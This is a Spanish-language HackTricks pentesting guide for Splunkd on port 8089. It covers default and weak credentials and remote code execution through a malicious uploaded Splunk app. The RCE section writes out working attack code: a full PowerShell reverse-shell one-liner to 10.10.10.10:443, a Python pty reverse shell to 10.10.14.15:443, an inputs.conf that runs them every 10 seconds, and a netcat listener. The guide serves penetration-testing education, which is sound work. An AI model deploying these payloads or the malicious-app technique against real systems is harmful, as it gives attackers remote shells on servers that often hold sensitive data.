hacktricks/network-services-pentesting/8089-splunkd.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

9.8 KiB

8089 - Pentesting Splunkd

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Información básica

Splunk es una herramienta de análisis de registros utilizada para recopilar, analizar y visualizar datos. Aunque originalmente no estaba destinado a ser una herramienta SIEM, Splunk a menudo se utiliza para monitoreo de seguridad y análisis empresarial. Las implementaciones de Splunk a menudo se utilizan para almacenar datos sensibles y podrían proporcionar una gran cantidad de información para un atacante si se comprometen.

Puerto predeterminado: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} El servidor web de Splunk se ejecuta por defecto en el puerto 8000. {% endhint %}

Enumeración

Versión gratuita

La versión de prueba de Splunk Enterprise se convierte en una versión gratuita después de 60 días, que no requiere autenticación. No es raro que los administradores del sistema instalen una versión de prueba de Splunk para probarla, que posteriormente se olvida. Esto se convertirá automáticamente en la versión gratuita que no tiene ningún tipo de autenticación, lo que introduce un agujero de seguridad en el entorno. Algunas organizaciones pueden optar por la versión gratuita debido a limitaciones presupuestarias, sin comprender completamente las implicaciones de no tener gestión de usuarios/roles.

Credenciales por defecto

En versiones antiguas de Splunk, las credenciales por defecto son admin:changeme, que se muestran convenientemente en la página de inicio de sesión. Sin embargo, la última versión de Splunk establece credenciales durante el proceso de instalación. Si las credenciales por defecto no funcionan, vale la pena comprobar contraseñas débiles comunes como admin, Welcome, Welcome1, Password123, etc.

Obtener información

Una vez iniciada la sesión en Splunk, podemos navegar por los datos, ejecutar informes, crear paneles, instalar aplicaciones desde la biblioteca de Splunkbase e instalar aplicaciones personalizadas. También se puede ejecutar código: Splunk tiene múltiples formas de ejecutar código, como aplicaciones Django en el lado del servidor, puntos finales REST, entradas con scripts y scripts de alerta. Un método común para obtener ejecución remota de código en un servidor Splunk es mediante el uso de una entrada con script.

Además, como Splunk se puede instalar en hosts de Windows o Linux, se pueden crear entradas con scripts para ejecutar scripts Bash, PowerShell o Batch.

Shodan

  • Construcción de Splunk

RCE

Crear aplicación personalizada

Una aplicación personalizada puede ejecutar scripts de Python, Batch, Bash o PowerShell. Tenga en cuenta que Splunk viene con Python instalado, por lo que incluso en sistemas Windows podrá ejecutar código de Python.

Puede utilizar este paquete de Splunk para ayudarnos. El directorio bin en este repositorio tiene ejemplos para Python y PowerShell. Vamos a ver esto paso a paso.

Para lograr esto, primero necesitamos crear una aplicación personalizada de Splunk utilizando la siguiente estructura de directorios:

tree splunk_shell/

splunk_shell/
├── bin
└── default

El directorio bin contendrá cualquier script que pretendamos ejecutar (en este caso, un shell inverso de PowerShell), y el directorio predeterminado tendrá nuestro archivo inputs.conf. Nuestro shell inverso será una línea de comando de PowerShell:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

El archivo inputs.conf indica a Splunk qué script ejecutar y cualquier otra condición. Aquí establecemos que la aplicación está habilitada y le decimos a Splunk que ejecute el script cada 10 segundos. El intervalo siempre está en segundos, y la entrada (script) solo se ejecutará si esta configuración está presente.

cat inputs.conf 

[script://./bin/rev.py]
disabled = 0  
interval = 10  
sourcetype = shell 

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Necesitamos el archivo .bat, que se ejecutará cuando se implemente la aplicación y ejecutará la línea de comando de PowerShell.

El siguiente paso es elegir Instalar aplicación desde archivo y cargar la aplicación.

Antes de cargar la aplicación personalizada maliciosa, iniciemos un escucha usando Netcat o socat.

sudo nc -lnvp 443

listening on [any] 443 ...

En la página Subir aplicación, haz clic en Examinar, elige el archivo tarball que creamos anteriormente y haz clic en Subir. Tan pronto como subamos la aplicación, recibiremos una shell inversa y el estado de la aplicación se cambiará automáticamente a Habilitado.

Linux

Si estuviéramos tratando con un host de Linux, tendríamos que editar el script Python rev.py antes de crear el tarball y subir la aplicación maliciosa personalizada. El resto del proceso sería el mismo, y obtendríamos una conexión de shell inversa en nuestro listener de Netcat y estaríamos listos para empezar.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE y Escalada de Privilegios

En la siguiente página puedes encontrar una explicación de cómo se puede abusar de este servicio para escalar privilegios y obtener persistencia:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥